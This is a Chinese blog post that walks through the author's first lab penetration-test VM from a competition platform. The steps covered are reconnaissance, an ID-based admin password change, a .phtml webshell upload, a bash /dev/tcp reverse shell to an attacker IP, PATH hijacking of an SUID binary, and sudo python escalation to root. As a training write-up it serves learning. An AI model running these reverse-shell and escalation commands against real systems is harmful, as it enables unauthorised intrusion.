记录第一次靶机渗透

前言

这一次在鲲鹏杯的测试平台中第一次接触到渗透题感觉十分的手足无措;便在博客里面记录一下第一次渗透的流程

信息收集

拿到vof导入后;先查看我们NAT的ip地址

然后进行信息收集;信息收集主要分为存活主机探测和端口扫描和网站扫描;可以使用nmap或者fscan;此时我们用fscan进行扫描


此时发现了80和22端口都有开放并且网站192.168.78.139和192.168.78.1也存活;此时我们可以使用后台扫描工具dirsearch进行扫描看看是否存在信息泄露;此时经过扫描发现并不存在常见的信息泄露;但是却有意外的收获发现了一个/upload

验证逻辑漏洞(纵向越权修改admin密码)

那么我们此时登入网站192.168.78.139看看是否存在逻辑漏洞;此时发现是一个登入界面;此时我们进行注册登入

此时发现url上方的id=7,此时有理由怀疑是存在sql注入漏洞;但是因为在扫描时发现了upload;此时我们更加可以怀疑这里存在文件上传漏洞;但是我们在本用户界面却没有发现可以进行文件上传的地方;但是根据之前的题目经验我们知道这种存在登入的界面会存在一个管理员的账号和密码;所以我们先尝试利用自身登入的cookie看看能否进入管理员此时发现不行;接下来我们便可以通过我们第一次登入时id=2不是id=1来猜想id=1是管理员;此时我们先来验证一下我们的逻辑漏洞是否正确;因为不知道admin的密码;所以此时通过更改密码来获取admin的登入权限


此时发现已经可以登入管理员的后台界面;并且发现了一个可以上传文件的地方

此时考虑上传一句话木马来控制;经过测试只有后缀为.phtml的可以上传

反弹shell

此时我们在/home下面发现了一个叫做john的用户和flag1.txt;而因为我们的权限不够所以无法获得其中的内容;所以此时我们考虑的就是权限的提升;先把权限提升到john用户上然后再来查看我们的flag1.txt;我们此时可以先反弹一个shell到我们的攻击机kali上;

此时也可以通过命令查看到我们下一步需要提取的对象为john或者darkhole;然后结合在蚁剑上看到flag1.txt确定我们下一步的提取对象为john

反弹shell:

1
2
反弹shell:
攻击者指定服务端,受害者主机主动连接攻击者的服务端程序;就是攻击机监听在某个TCP或者UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。反弹shell是指攻击者通过某种方式入侵了目标服务器,并且在目标服务器中设置了一个命令shell;使得攻击者可以从本地计算机向目标服务器发送命令并且接受目标服务器的反馈信息。攻击者可以在没有权限的情况下远程控制服务器从而获取敏感数据。

反弹shell的方式有很多种这里先写利用Bash反弹shell

1
2
3
4
5
6
bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1
命令 命令详解
bash -i: 产生一个bash交互环境。
>&: 将联合符号前面的内容与后面相结合,然后一起重定向给后者。
/dev/tcp/47.xxx.xxx.72/2333: Linux环境中所有的内容都是以文件的形式存在的,其实大家一看见这个内容就能明白,就是让目标主机与攻击机47.xxx.xxx.72的2333端口建立一个tcp连接。
0>&1: 将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容。

bash反弹shell的解读就是:
Bash产生了一个交互环境和本地主机主动发起与攻击机2333端口建立的连接(即TCP:2333会话连接)相结合,然后在重定向给TCP:2333会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个Bash反弹环境。通过这样的命令,我们就可以就是将B的标准输出和错误输出都重定向给A,并且将A的输入都重定向给B,这样我们就可以实现A对B的远程控制了。
此时我们先查看一下本机kali的ip并且开启监听;并且在蚁剑中反弹shell;此时再回到我们的kali发现我们已经可以在没有权限的情况下实现对该服务器的远程控制了。

提升权限(环境变量劫持用户shell)

此时我们进入我们在蚁剑中发现的用户john目录中看看能否提取flag1.txt;此时发现权限不足并且发现了一个比较特别的文件./toto;

我们执行一下./toto文件看看会怎么样

此时发现uid=john;即为这个文件是id的副本,它以John用户的身份执行;所以此时我们可以利用这个文件先将我们的权限提升到john用户上面;此时我们利用的方法是采用环境变量劫持的方法获得用户john的shell
权限提升之环境变量劫持:

1
2
3
4
echo "/bin/bash" > /tmp/id
chmod +x /tmp/id
export PATH=/tmp:$PATH
./toto

echo “/bin/bash” > /tmp/id: 在/tmp/id文件中写入字符串”/bin/bash”;执行这条命令后会在/tmp的目录下创建一个名为id的
文件;其中包含了字符串”/bin/tmp”
chmod +x /tmp/id:作用为赋予/tmp/id文件可执行权限;执行该命令之后/tmp/id文件就有了可执行权限,可以在终端中执行该文

export PATH=/tmp:$PATH 该指令将系统变量PATH的路径修改为/tmp:$PATH;这将导致系统先在/tmp目录下查找可执行文件,这样
可以使得攻击者往/tmp目录下储存包含恶意代码的可执行文件

1
在/tmp目录下创建id文件echo "/bin/bash">id && chmod +x id查看当前环境变量:echo $PATH把/tmp目录添加到环境变量export PATH=/tmp:$PATH再次查看环境变量是否添加成功echo $PATH执行toto/home/john/toto

我们可以尝试利用这个特性,在本地编辑新的id文件,写入/bin/bash,给执行权限。然后将文件路径写入到原有环境变量前(从前往后顺序匹配),这样使用id命令时就会优先匹配此路径下的id文件,运行toto文件使用john身份调用id命令时就会获得shell。
此时我们已经获得用户john的权限并且可以查看用户john的任意文件

获取root权限

渗透的最终目标都是获得root权限;只有拿到root权限之后可以做的事情才会更多;我们此时可以先查看一下具有sudo的权限命令;此时看到用户john可以编辑和运行file.py脚本

此时我们将获取shell的命令加入到python脚本中再去执行就可以获得root权限了

1
2
echo 'import os;os.system("/bin/bash")' > file.py
sudo python3 /home/john/file.py